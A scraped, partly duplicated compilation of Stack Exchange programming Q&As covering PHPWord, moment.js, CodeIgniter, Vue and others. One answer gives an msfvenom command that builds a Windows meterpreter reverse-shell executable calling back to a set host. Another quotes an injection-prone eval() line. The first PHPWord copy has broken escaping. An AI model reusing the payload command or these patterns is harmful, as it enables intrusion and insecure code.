问:
Add image in a .docx with PHPWord using TemplateProcessor
I don't know if is possible to add an image in a template with PHPWord using TemplateProcessor.

I have a document (form.docx). This document is a template. I read the fields (${name} for example) and replace it with a text.

```<code>$template = new TemplateProcessor('form.docx');
$template->setValue('name', $name);
</code>```

But now, I want to put an image but I don't know how I do it. I try with this:

```<code>$img='img.jpg';
$template->setValue('image',$img);
</code>```

Doesn't works. I try other form, creating a section and add this section to template but this fails.

```<code>$phpWord = new PhpWord();
$section = $phpWord->createSection();

$section->addImage('img.jpg', array('width'=>210, 'height'=>210, 'align'=>'center'));
$template = new TemplateProcessor('form.docx');
$template->setValue('image',$section).
</code>```

Anyone know how to put an image in a .docx using a template?

Thanks.

答:
open TemplateProcessor.php from phpWord folder.
replace this sample code inside.

```<code>    <?php

/**
 * PHPWord
 *
 * Copyright (c) 2010 PHPWord
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 *
 * @category   PHPWord
 * @package    PHPWord
 * @copyright  Copyright (c) 010 PHPWord
 * @license    http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt    LGPL
 * @version    Beta 0.6.2, 24.07.2010
 */

/**
 * PHPWord_DocumentProperties
 *
 * @category   PHPWord
 * @package    PHPWord
 * @copyright  Copyright (c) 2009 - 2010 PHPWord (http://www.codeplex.com/PHPWord)
 */
class PHPWord_Template {
    private $_objZip;
    private $_tempFileName;
    private $_documentXML;
    private $_header1XML;
    private $_footer1XML;
    private $_rels;
    private $_types;
    private $_countRels;

    /**
     * Create a new Template Object
     * @param string $strFilename
     */
    public function __construct($strFilename) {
        $path = dirname($strFilename);

        $this->_tempFileName = $path . DIRECTORY_SEPARATOR . time() . '.docx'; // $path doesn't include the trailing slash - Custom code by Matt Bowden (blenderstyle) 04/12/2011

        copy($strFilename, $this->_tempFileName); // Copy the source File to the temp File

        $this->_objZip = new ZipArchive();
        $this->_objZip->open($this->_tempFileName);

        $this->_documentXML = $this->_objZip->getFromName('word/document.xml');
        $this->_header1XML  = $this->_objZip->getFromName('word/header1.xml'); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
        $this->_footer1XML  = $this->_objZip->getFromName('word/footer1.xml'); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
        $this->_rels        = $this->_objZip->getFromName('word/_rels/document.xml.rels'); #erap 07/07/2015
        $this->_types       = $this->_objZip->getFromName('[Content_Types].xml'); #erap 07/07/2015
        $this->_countRels   = substr_count($this->_rels, 'Relationship') - 1; #erap 07/07/2015
    }

    /**
     * Set a Template value
     * @param mixed $search
     * @param mixed $replace
     */
    public function setValue($search, $replace) {
        $search = '${' . $search . '}';
        $replace = $this->limpiarString($replace);
        $this->_documentXML = str_replace($search, $replace, $this->_documentXML);
        $this->_header1XML = str_replace($search, $replace, $this->_header1XML); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
        $this->_footer1XML = str_replace($search, $replace, $this->_footer1XML); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
    }

    /**
     * Save Template
     * @param string $strFilename
     */
    public function save($strFilename) {
        if (file_exists($strFilename))
            unlink($strFilename);
        $this->_objZip->addFromString('word/document.xml', $this->_documentXML);
        $this->_objZip->addFromString('word/header1.xml', $this->_header1XML); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
        $this->_objZip->addFromString('word/footer1.xml', $this->_footer1XML); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
        $this->_objZip->addFromString('word/_rels/document.xml.rels', $this->_rels); #erap 07/07/2015
        $this->_objZip->addFromString('[Content_Types].xml', $this->_types); #erap 07/07/2015
        // Close zip file
        if ($this->_objZip->close() === false)
            throw new Exception('Could not close zip file.');

        rename($this->_tempFileName, $strFilename);
    }

    public function replaceImage($path, $imageName) {
        $this->_objZip->deleteName('word/media/' . $imageName);
        $this->_objZip->addFile($path, 'word/media/' . $imageName);
    }

    public function replaceStrToImg( $strKey, $arrImgPath ){
        //289x108
        $strKey = '${'.$strKey.'}';
        $relationTmpl = '<Relationship Id="RID" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/IMG"/>';
        $imgTmpl = '<w:pict><v:shape type="#_x0000_t75" style="width:WIDpx;height:HEIpx"><v:imagedata r:id="RID" o:title=""/></v:shape></w:pict>';
        $typeTmpl = ' <Override PartName="/word/media/IMG" ContentType="image/EXT"/>';
        $toAdd = $toAddImg = $toAddType = '';
        $aSearch = array('RID', 'IMG');
        $aSearchType = array('IMG', 'EXT');

        foreach($arrImgPath as $img){
            $imgExt = array_pop( explode('.', $img['img']) );
            if( in_array($imgExt, array('jpg', 'JPG') ) )
                $imgExt = 'jpeg';
            $imgName = 'img' . $this->_countRels . '.' . $imgExt;
            $rid = 'rId' . $this->_countRels++;

            $this->_objZip->addFile($img['img'], 'word/media/' . $imgName);

            if( isset($img['size']) ){
                $w = $img['size'][0];
                $h = $img['size'][1];
            }
            else{
                $w = 289;
                $h = 108;
            }

            $toAddImg .= str_replace(array('RID', 'WID', 'HEI'), array($rid, $w, $h), $imgTmpl) ;
            if( isset($img['dataImg']) )
                $toAddImg .= '<w:br/><w:t>' . $this->limpiarString($img['dataImg']) . '</w:t><w:br/>';

            $aReplace = array($imgName, $imgExt);
            $toAddType .= str_replace($aSearchType, $aReplace, $typeTmpl) ;

            $aReplace = array($rid, $imgName);
            $toAdd .= str_replace($aSearch, $aReplace, $relationTmpl);
        }

        $this->_documentXML = str_replace('<w:t>' . $strKey . '</w:t>', $toAddImg, $this->_documentXML);
        $this->_types       = str_replace('</Types>', $toAddType, $this->_types) . '</Types>';
        $this->_rels        = str_replace('</Relationships>', $toAdd, $this->_rels) . '</Relationships>';
    }

    function limpiarString($str) {
        return str_replace(
                array('&', '<', '>', "\n"),
                array('&', '<', '>', "\n" . '<w:br/>'),
                $str
        );
    }

}

?>
</code>```

You can get full modified code from here.

Body:
I don't know if is possible to add an image in a template with PHPWord using TemplateProcessor.

I have a document (form.docx). This document is a template. I read the fields (${name} for example) and replace it with a text.

$template = new TemplateProcessor('form.docx');
$template->setValue('name', $name);

But now, I want to put an image but I don't know how I do it. I try with this:

$img='img.jpg';
$template->setValue('image',$img);

Doesn't works. I try other form, creating a section and add this section to template but this fails.

$phpWord = new PhpWord();
$section = $phpWord->createSection();

$section->addImage('img.jpg', array('width'=>210, 'height'=>210, 'align'=>'center'));
$template = new TemplateProcessor('form.docx');
$template->setValue('image',$section).

Anyone know how to put an image in a .docx using a template?

Thanks.

Body:
open TemplateProcessor.php from phpWord folder.
replace this sample code inside.

    <?php

/**
 * PHPWord
 *
 * Copyright (c) 2010 PHPWord
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 *
 * @category   PHPWord
 * @package    PHPWord
 * @copyright  Copyright (c) 010 PHPWord
 * @license    http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt    LGPL
 * @version    Beta 0.6.2, 24.07.2010
 */

/**
 * PHPWord_DocumentProperties
 *
 * @category   PHPWord
 * @package    PHPWord
 * @copyright  Copyright (c) 2009 - 2010 PHPWord (http://www.codeplex.com/PHPWord)
 */
class PHPWord_Template {
    private $_objZip;
    private $_tempFileName;
    private $_documentXML;
    private $_header1XML;
    private $_footer1XML;
    private $_rels;
    private $_types;
    private $_countRels;

    /**
     * Create a new Template Object
     * @param string $strFilename
     */
    public function __construct($strFilename) {
        $path = dirname($strFilename);

        $this->_tempFileName = $path . DIRECTORY_SEPARATOR . time() . '.docx'; // $path doesn't include the trailing slash - Custom code by Matt Bowden (blenderstyle) 04/12/2011

        copy($strFilename, $this->_tempFileName); // Copy the source File to the temp File

        $this->_objZip = new ZipArchive();
        $this->_objZip->open($this->_tempFileName);

        $this->_documentXML = $this->_objZip->getFromName('word/document.xml');
        $this->_header1XML  = $this->_objZip->getFromName('word/header1.xml'); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
        $this->_footer1XML  = $this->_objZip->getFromName('word/footer1.xml'); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
        $this->_rels        = $this->_objZip->getFromName('word/_rels/document.xml.rels'); #erap 07/07/2015
        $this->_types       = $this->_objZip->getFromName('[Content_Types].xml'); #erap 07/07/2015
        $this->_countRels   = substr_count($this->_rels, 'Relationship') - 1; #erap 07/07/2015
    }

    /**
     * Set a Template value
     * @param mixed $search
     * @param mixed $replace
     */
    public function setValue($search, $replace) {
        $search = '${' . $search . '}';
        $replace = $this->limpiarString($replace);
        $this->_documentXML = str_replace($search, $replace, $this->_documentXML);
        $this->_header1XML = str_replace($search, $replace, $this->_header1XML); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
        $this->_footer1XML = str_replace($search, $replace, $this->_footer1XML); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
    }

    /**
     * Save Template
     * @param string $strFilename
     */
    public function save($strFilename) {
        if (file_exists($strFilename))
            unlink($strFilename);
        $this->_objZip->addFromString('word/document.xml', $this->_documentXML);
        $this->_objZip->addFromString('word/header1.xml', $this->_header1XML); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
        $this->_objZip->addFromString('word/footer1.xml', $this->_footer1XML); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
        $this->_objZip->addFromString('word/_rels/document.xml.rels', $this->_rels); #erap 07/07/2015
        $this->_objZip->addFromString('[Content_Types].xml', $this->_types); #erap 07/07/2015
        // Close zip file
        if ($this->_objZip->close() === false)
            throw new Exception('Could not close zip file.');

        rename($this->_tempFileName, $strFilename);
    }

    public function replaceImage($path, $imageName) {
        $this->_objZip->deleteName('word/media/' . $imageName);
        $this->_objZip->addFile($path, 'word/media/' . $imageName);
    }

    public function replaceStrToImg( $strKey, $arrImgPath ){
        //289x108
        $strKey = '${'.$strKey.'}';
        $relationTmpl = '<Relationship Id="RID" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/IMG"/>';
        $imgTmpl = '<w:pict><v:shape type="#_x0000_t75" style="width:WIDpx;height:HEIpx"><v:imagedata r:id="RID" o:title=""/></v:shape></w:pict>';
        $typeTmpl = ' <Override PartName="/word/media/IMG" ContentType="image/EXT"/>';
        $toAdd = $toAddImg = $toAddType = '';
        $aSearch = array('RID', 'IMG');
        $aSearchType = array('IMG', 'EXT');

        foreach($arrImgPath as $img){
            $imgExt = array_pop( explode('.', $img['img']) );
            if( in_array($imgExt, array('jpg', 'JPG') ) )
                $imgExt = 'jpeg';
            $imgName = 'img' . $this->_countRels . '.' . $imgExt;
            $rid = 'rId' . $this->_countRels++;

            $this->_objZip->addFile($img['img'], 'word/media/' . $imgName);

            if( isset($img['size']) ){
                $w = $img['size'][0];
                $h = $img['size'][1];
            }
            else{
                $w = 289;
                $h = 108;
            }

            $toAddImg .= str_replace(array('RID', 'WID', 'HEI'), array($rid, $w, $h), $imgTmpl) ;
            if( isset($img['dataImg']) )
                $toAddImg .= '<w:br/><w:t>' . $this->limpiarString($img['dataImg']) . '</w:t><w:br/>';

            $aReplace = array($imgName, $imgExt);
            $toAddType .= str_replace($aSearchType, $aReplace, $typeTmpl) ;

            $aReplace = array($rid, $imgName);
            $toAdd .= str_replace($aSearch, $aReplace, $relationTmpl);
        }

        $this->_documentXML = str_replace('<w:t>' . $strKey . '</w:t>', $toAddImg, $this->_documentXML);
        $this->_types       = str_replace('</Types>', $toAddType, $this->_types) . '</Types>';
        $this->_rels        = str_replace('</Relationships>', $toAdd, $this->_rels) . '</Relationships>';
    }

    function limpiarString($str) {
        return str_replace(
                array('&', '<', '>', "\n"),
                array('&amp;', '&lt;', '&gt;', "\n" . '<w:br/>'),
                $str
        );
    }

}

?>

You can get full modified code from here.


来源: stackexchange

问:
Invalid Date in Firefox using .toLocaleString() as well as moment.js
I have a script that I am attempting to convert a UTC date/time to local timezone. It all seems to be working well in Chrome and IE/Edge, but shows "invalid date" in Firefox. There are several other questions out there on stack but none seem to address my specific need.

My script does this...

Gets a date that is a specific format put out by Fabrik in Joomla. (I have little control over this format)

it looks like this:

```<code>2017-07-02 20:57
</code>```

And then I create a new date as UTC and convert that to a Local timezone.

toLocalString method:

```<code>$(document).ready(function() {
        $('.plg-date > .fabrikElement > div').not('.fabrikSubElementContainer').each(function() {
            if($(this).text().length > 0) {
                var newdate = new Date($(this).text() + " UTC");
                var options = {
                    year: 'numeric',
                    month: 'numeric',
                    day: 'numeric',
                    hour: '2-digit',
                    minute: '2-digit',
                    timeZoneName: 'short'
                }
                $(this).text(newdate.toLocaleString('en-US', options));
            }
        })
    });
</code>```

moment.js method:

```<code>$(document).ready(function() {
    $('.plg-date > .fabrikElement > div').not('.fabrikSubElementContainer').each(function() {
        if($(this).text().length > 0) {
            var date = new Date($(this).text() + " UTC");
            var newdate = moment(date).format('ddd MMM DD YYYY h:mm A')
            $(this).text(newdate);
        }
    })
});
</code>```

both methods result in invalid date in firefox. suggestions?

答:
Using moment you can use moment.utc and local():

```<code>var newdate = moment.utc($(this).text()).local().format('ddd MMM DD YYYY h:mm A')
</code>```

moment.utc parses your input as UTC value, while local() converts it to local time.

ContentLicense: CC BY-SA 3.0

Body:
I have a script that I am attempting to convert a UTC date/time to local timezone. It all seems to be working well in Chrome and IE/Edge, but shows "invalid date" in Firefox. There are several other questions out there on stack but none seem to address my specific need.

My script does this...

Gets a date that is a specific format put out by Fabrik in Joomla. (I have little control over this format)

it looks like this:

2017-07-02 20:57

And then I create a new date as UTC and convert that to a Local timezone.

toLocalString method:

$(document).ready(function() {
        $('.plg-date > .fabrikElement > div').not('.fabrikSubElementContainer').each(function() {
            if($(this).text().length > 0) {
                var newdate = new Date($(this).text() + " UTC");
                var options = {
                    year: 'numeric',
                    month: 'numeric',
                    day: 'numeric',
                    hour: '2-digit',
                    minute: '2-digit',
                    timeZoneName: 'short'
                }
                $(this).text(newdate.toLocaleString('en-US', options));
            }
        })
    });

moment.js method:

$(document).ready(function() {
    $('.plg-date > .fabrikElement > div').not('.fabrikSubElementContainer').each(function() {
        if($(this).text().length > 0) {
            var date = new Date($(this).text() + " UTC");
            var newdate = moment(date).format('ddd MMM DD YYYY h:mm A')
            $(this).text(newdate);
        }
    })
});

both methods result in invalid date in firefox. suggestions?

Body:
Using moment you can use moment.utc and local():

var newdate = moment.utc($(this).text()).local().format('ddd MMM DD YYYY h:mm A')

moment.utc parses your input as UTC value, while local() converts it to local time.


问:
What is the point of this line of code?
I found this line of code in the Virtuemart plugin for Joomla on line 2136 in administrator/components/com_virtuemart/classes/ps_product.php</p>

```<code>eval ("\$text_including_tax = \"$text_including_tax\";");
</code>```

答:
As others have pointed out, it's code written by someone who doesn't know what on earth they're doing.

I also had a quick browse of the code to find a total lack of text escaping when putting HTML/URIs/etc. together. There are probably many injection holes to be found here in addition to the eval issues, if you can be bothered to audit it properly.

I would not want this code running on my server.

OwnerDisplayName: mk

ContentLicense: CC BY-SA 2.5

Title: What is the point of this line of code?

Body:
I found this line of code in the Virtuemart plugin for Joomla on line 2136 in administrator/components/com_virtuemart/classes/ps_product.php

eval ("\$text_including_tax = \"$text_including_tax\";");

OwnerDisplayName: bobince


问:
Select2 The Result Cannot Be Load in CodeIgniter
When I type in my select box the result always show "The result cannot be load". I am using CodeIgniter for my framework and select2 in my select box and am a newbie in CodeIgniter and Select2. I have already search it through all articles that can be related to my problem but it still can't work. I think I messed my ajax but I don't know how and where I should fix it.

Here is my controller

```<code><?php
    class Admin extends CI_Controller{
        function __construct(){
            parent::__construct();

            $this->load->model('admin_model');
        }

        function search_book(){
            $booksClue = $this->input->get('booksClue');
            $data_book = $this->admin_model->get_book($booksClue, 'id_book');
            echo json_encode($data_book);
        }

    }
?>
</code>```

Here is my model

```<code><?php
    class Admin_model extends CI_Model{

        function get_book($booksClue, $column){
            $this->db->select($column);
            $this->db->like('id_book', $booksClue);
            $data = $this->db->from('book')->get();
            return $data->result_array();
        }
    }
?>
</code>```

And here is my view

```<code><html>
<head>
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.js"></script>
    <link href="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.3/css/select2.min.css" rel="stylesheet" />
    <script src="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.3/js/select2.min.js"></script>
</head>
<body>

    <script type="text/javascript">
        $(document).ready(function(){
            $('.searchingBook').select2({
                placeholder: 'Masukkan ID Buku',
                minimumInputLength: 1,
                allowClear: true,
                ajax:{
                    url: "<?php echo base_url(); ?>/admin/searchbook",
                    dataType: "json",
                    delay: 250,
                    data: function(params){
                        return{
                            booksClue: params.term
                        };
                    },
                    processResults: function(data){
                        var results = [];

                        $.each(data, function(index, item){
                            results.push({
                                id: item.id_book,
                                text: item.id_book
                            });
                        });
                        return{
                            results: results
                        };
                    }
                }
            });
        });
    </script>

    <table>
        <tr>
            <td><b>ID Buku</b></td>
            <td> : </td>
            <td>
                <select class="searchingBook" style="width: 500px">
                    <option></option>
                </select>
            </td>
        </tr>
    </table>
    <br><br>

</body>
</html>
</code>```

Big thanks for your help!

答:
Update your model function like below:</p>

```<code>function get_book($booksClue, $column){
    $this->db->select($column);
    $this->db->from('book');
    $this->db->like('id_book', $booksClue);
    return $this->db->get()->result_array();
}
</code>```

Body:
When I type in my select box the result always show "The result cannot be load". I am using CodeIgniter for my framework and select2 in my select box and am a newbie in CodeIgniter and Select2. I have already search it through all articles that can be related to my problem but it still can't work. I think I messed my ajax but I don't know how and where I should fix it.

Here is my controller

<?php
    class Admin extends CI_Controller{
        function __construct(){
            parent::__construct();

            $this->load->model('admin_model');
        }

        function search_book(){
            $booksClue = $this->input->get('booksClue');
            $data_book = $this->admin_model->get_book($booksClue, 'id_book');
            echo json_encode($data_book);
        }

    }
?>

Here is my model

<?php
    class Admin_model extends CI_Model{

        function get_book($booksClue, $column){
            $this->db->select($column);
            $this->db->like('id_book', $booksClue);
            $data = $this->db->from('book')->get();
            return $data->result_array();
        }
    }
?>

And here is my view

    <link href="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.3/css/select2.min.css" rel="stylesheet" />

            ID Buku
             :

                <select class="searchingBook" style="width: 500px">
                    <option></option>
                </select>

Big thanks for your help!

Body:
Update your model function like below:

function get_book($booksClue, $column){
    $this->db->select($column);
    $this->db->from('book');
    $this->db->like('id_book', $booksClue);
    return $this->db->get()->result_array();
}


问:
protection in CPUs with no protected mode
I'm learning about the use of the mode bit, and the fact that certain CPUs like the Intel 8086 only operate in real mode. In a number of sources, I am told the following:

The intel 8086 has no protected mode

it can only use the first 1 MiB of memory

My question is, why do they specify that only 1 MiB of memory is addressable? Does this mean that there is unusable (but perhaps readable?) memory beyond that first MiB? How is the memory beyond the 1st MiB used? Is this the way that the CPU provides some manner of protection for processes like, say, the O.S.? Or does the CPU truly provide zero protection against accidental overwrites?

答:
The 8086/8088 has no addressable memory beyond 1M. This is because it only has 20 address lines, and 2^20 is 1,048,576. So the range of addresses is between 0 (hex 00000) and 1,048,575 (hex FFFFF). As you correctly noted, this has nothing to do with "protected mode," since that doesn't exist on the 8086/8088 processors.

Older processors have less memory available: the 8080 has 16 address lines, for a total of 2^16, or 65,536 bytes of memory.

This is similar to saying "there is no way to express a number beyond 999 if you only have three (decimal) digits."


问:
The callback getContactsAsync() exists in module ExponentContacts, but only one callback may be registered to a function in a native modules
I've got a piece of code that uses Expo.Contacts.getContactsAsync() to get the list of contacts from the phone. I only ask for PHONE_NUMBERS.

On the list returned, I check of there's an image available, and if so, I use Expo.Contacts.getContactByIdAsync with the THUMBNAIL option.

All this works fine in iOS, but on Android, I get the above error, and I have no clue what to do, and why it happens.

If people want to see the code I can replicate it here, but - as I said - it works fine on iOS, so I'm looking for advice on what this message means.

答:
Turns out that contact ids are integers in Android, and strings in iOS.
Do not get those confused in your own code, or strange things like this will happen.

I ended up converting all Android integer ids into strings, before accepting them into my own code.


问:
C# WPF Webbrowser msHTML - Explore DOM - Find Elements
I'm actually working on a personal project in C# using WPF and WPF WebBrowser. I really need to explore html DOM Elements as we used to do in javascript or php..etc

In my MainWindow I have this variable :

```<code>private mshtml.HTMLDocument mainDocument = new mshtml.HTMLDocument();
</code>```

In my webBrowser LoadComplete callback I have this :

```<code>mainDocument = (mshtml.HTMLDocument) mainBrowser.Document;
</code>```

Ok, so this is nice, it's working.

Now if I do this :

```<code>mshtml.IHTMLElement elem = mainDocument.getElementById("MY_ID");
</code>```

it's also very nice, can do elem.innerHTML or somes stuff like that.

BUT my problem is only HTMLDocument have methodes to find elements by ID, by tagnames..etc

I don't know how to find elements in IHTMLElement. I tried some stuff like casting IHTMLElement to IHTMLElement2..etc but nothing have worked.

Please if you have any ideas. A lot of people talks about hosting winforms webbrowser but I think it must have a way to do that only with mshtml.

Thanks a lot,
If you need more information, please feel free to ask me

ps : I'm french so I'm sorry about my Engish skills

答:
Thanks a lot @Sujit for your help.
I've not enouth reputation to mark your answer as helpful but I hope others will do.

To get it work with wpf webbrowser I've done :

```<code>mainHTMLDoc.LoadHtml((mainBrowser.Document as mshtml.HTMLDocument).documentElement.innerHTML);
</code>```

To manipulate everything in should use this :

```<code>using System.Linq;
</code>```

After that you can do stuffs like that :

```<code>var table = mainHTMLDoc.GetElementbyId("MyID");
var rows = table.Element("tbody").Elements("tr");
for(int i=0; i< rows.Count();i++) {
    var datacol1 = rows.ElementAt(i).Elements("td").ElementAt(0).Descendants("a").ElementAt(0).InnerHtml;
    var datacol2 = rows.ElementAt(i).Elements("td").ElementAt(1).InnerText
}
</code>```

Whitout using Linq you cannot use Elements function which are very very usefull !
Thanks again Sujit :)

Body:
I'm actually working on a personal project in C# using WPF and WPF WebBrowser. I really need to explore html DOM Elements as we used to do in javascript or php..etc

In my MainWindow I have this variable :

private mshtml.HTMLDocument mainDocument = new mshtml.HTMLDocument();

In my webBrowser LoadComplete callback I have this :

mainDocument = (mshtml.HTMLDocument) mainBrowser.Document;

Ok, so this is nice, it's working.

Now if I do this :

mshtml.IHTMLElement elem = mainDocument.getElementById("MY_ID");

it's also very nice, can do elem.innerHTML or somes stuff like that.

BUT my problem is only HTMLDocument have methodes to find elements by ID, by tagnames..etc

I don't know how to find elements in IHTMLElement. I tried some stuff like casting IHTMLElement to IHTMLElement2..etc but nothing have worked.

Please if you have any ideas. A lot of people talks about hosting winforms webbrowser but I think it must have a way to do that only with mshtml.

Thanks a lot,
If you need more information, please feel free to ask me

ps : I'm french so I'm sorry about my Engish skills

Body:
Thanks a lot @Sujit for your help.
I've not enouth reputation to mark your answer as helpful but I hope others will do.

To get it work with wpf webbrowser I've done :

mainHTMLDoc.LoadHtml((mainBrowser.Document as mshtml.HTMLDocument).documentElement.innerHTML);

To manipulate everything in should use this :

using System.Linq;

After that you can do stuffs like that :

var table = mainHTMLDoc.GetElementbyId("MyID");
var rows = table.Element("tbody").Elements("tr");
for(int i=0; i< rows.Count();i++) {
    var datacol1 = rows.ElementAt(i).Elements("td").ElementAt(0).Descendants("a").ElementAt(0).InnerHtml;
    var datacol2 = rows.ElementAt(i).Elements("td").ElementAt(1).InnerText
}

Whitout using Linq you cannot use Elements function which are very very usefull !
Thanks again Sujit :)


问:
How to launch charles proxy and auto save logs with certain configuration using java
Is there any way to read charles proxy session programmatically using Java ? Basically I want to read specific logs from Charles proxy but my question is how can I start and save charles session so that I can read the data from the saved file using Java. Any help is highly apprecited. FYI, I have searched in this site but most of the questions were unanswered. </p>

答:
I would say that your only option is to launch Charles as an external program from your java source code.
Take a look at how to do it here.</p>


问:
Generating a payload with 'msfvenom' gives "Permission denied" on macOS
I am trying to create a metasploit payload using msfvenom with the following command:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -f exe -o /Users/<UserNameHere>/Desktop  > shell.exe

But when that is executed I get: -bash: shell.exe: Permission denied

even though i tried running it with sudo and logging in as root with dsenableroot. I'm not sure what is wrong or where to look for an answer.

答:
Try:</p>

```<code>msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=3333 -f exe -o /Users/<UserNameHere>/Desktop/File.exe
</code>```

ContentLicense: CC BY-SA 4.0

Body:
Try:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=3333 -f exe -o /Users/<UserNameHere>/Desktop/File.exe


问:
how to know the version of homestead installed
I can't remember what version was installed and I want to see know but I don't know how. Probably there will be some command to the terminal but I can't figure out.

Can anyone tell me?

Thanks in advance.

答:
you can use -v or --version

```<code>homestead --version
</code>```

Versions:

Vagrant: Run vagrant -v to show the version.

Provider: Virtualbox, VMWare or Parallels and it's version.

Homestead: Run homestead --version to show the version.

Body:
you can use -v or --version

homestead --version

Versions:

Vagrant: Run vagrant -v to show the version.

Provider: Virtualbox, VMWare or Parallels and it's version.

Homestead: Run homestead --version to show the version.


问:
Trying to check if a value is undefined to control setting of ng-checked
I have a problem setting ng-checked to true for checkboxes based on whether a value is undefined or not. For example in the following code..

```<code><input class="custom-checkbox form-control" id="{{ point.pointId }}-{{ value }}"
  type="checkbox"
  ng-true-value="'{{ value }}'"
  ng-model="item.sections[inspectionSection.sectionShortName[point.pointId].value">
</code>```

I am trying to set ng-checked by checking if value, which can be set to one of several values, is defined.

For example something like:

```<code>ng-checked={{ if(value !== undefined) }}
</code>```

I can't seem to get it working. Anything I try in ng-checked either checks all the checkboxes or none. Any help much appreciated!

答:
You can accomplish this by using the ternary operator:</p>

```<code>ng-checked="value !== undefined ? true : false"
</code>```

Body:
I have a problem setting ng-checked to true for checkboxes based on whether a value is undefined or not. For example in the following code..

<input class="custom-checkbox form-control" id="{{ point.pointId }}-{{ value }}"
  type="checkbox"
  ng-true-value="'{{ value }}'"
  ng-model="item.sections[inspectionSection.sectionShortName[point.pointId].value">

I am trying to set ng-checked by checking if value, which can be set to one of several values, is defined.

For example something like:

ng-checked={{ if(value !== undefined) }}

I can't seem to get it working. Anything I try in ng-checked either checks all the checkboxes or none. Any help much appreciated!

Body:
You can accomplish this by using the ternary operator:

ng-checked="value !== undefined ? true : false"


问:
Vue.js - update child component's function
I have a child component with a prop, but also there's is a mounted function to init date and hour. How to update this function when data from parent is reloaded?

Parent component:

```<code> <template>
      <div>
        <ul>
          <li v-for="item in occurrences">
            {{ item.title }} {{ item.completed }}</small>
          </li>
        </ul>
        <sourceupd class="source" v-bind:source='source'></sourceupd>
      </div>
    </template>

    <script>
      import axios from 'axios'
      import sourceupd from './SourceAndUpdated'

      export default {

        name: 'Occurrences',

        components: {
          sourceupd
        },

        data: function () {
          return {
            occurrences: [],
            source: 'ANPC'
          }
        },

        mounted: function () {
          var _self = this

          function callAPI () {
            // call api code
          }

          callAPI()

          setInterval(() => {
            callAPI()
          }, 1024 * 3)
        }
      }
    </script>
</code>```

Child Component:

```<code><template lang="html">
    <small class="source-ref">Fonte: {{ source }} | Actualização:{{ updated.hour }}:{{ updated.minutes }}</small>
</template>

<script>
import moment from 'moment'

export default {
  data: function () {
    return {
      updated: {
        hour: '',
        minutes: ''
      }
    }
  },

  props: ['source'],

  mounted: function () {
    moment.locale('pt')

    this.updated.hour = moment().format('HH')
    this.updated.minutes = moment().format('mm')
    this.updated.seconds = moment().format('ss')
  }
}
</script>
</code>```

When callAPI() is reloaded, I would like to update time as well. I'm newbie with Vue.js (or this kind of framework) and I'm struggling how to handle this kind of dynamic information.

Thanks in advance.

答:
I'd personally pass updated as property to the child. That way, whenever the parent updates, so will the child.

I also wouldn't have it as an object, but a timestamp instead so you can do whatever you want with it more easily.

Also, I'd use filters for formatting the hours minutes and seconds.

My Child component would look something like:

```<code>const Child = {
  props: {
    updated: Number,
  },

  filters: {
    format (timestamp, format) {
      return moment(timestamp).format(format || 'dddd, MMMM Do YYYY, h:mm:ss a')
    },
  },

  template: `
    <div class="child">{{ updated | format('ss') }}</div>
  `,
}
</code>```

Then, as you update the parent's updated property it'll flow down into the child component.

Body:
I have a child component with a prop, but also there's is a mounted function to init date and hour. How to update this function when data from parent is reloaded?

Parent component:

 <template>

            {{ item.title }} {{ item.completed }}

        <sourceupd class="source" v-bind:source='source'></sourceupd>

    </template>

Child Component:

<template lang="html">
    Fonte: {{ source }} | Actualização:{{ updated.hour }}:{{ updated.minutes }}
</template>

When callAPI() is reloaded, I would like to update time as well. I'm newbie with Vue.js (or this kind of framework) and I'm struggling how to handle this kind of dynamic information.

Thanks in advance.

Body:
I'd personally pass updated as property to the child. That way, whenever the parent updates, so will the child.

I also wouldn't have it as an object, but a timestamp instead so you can do whatever you want with it more easily.

Also, I'd use filters for formatting the hours minutes and seconds.

My Child component would look something like:

const Child = {
  props: {
    updated: Number,
  },

  filters: {
    format (timestamp, format) {
      return moment(timestamp).format(format || 'dddd, MMMM Do YYYY, h:mm:ss a')
    },
  },

  template: `
    <div class="child">{{ updated | format('ss') }}</div>
  `,
}

Then, as you update the parent's updated property it'll flow down into the child component.


问:
Generic type argument
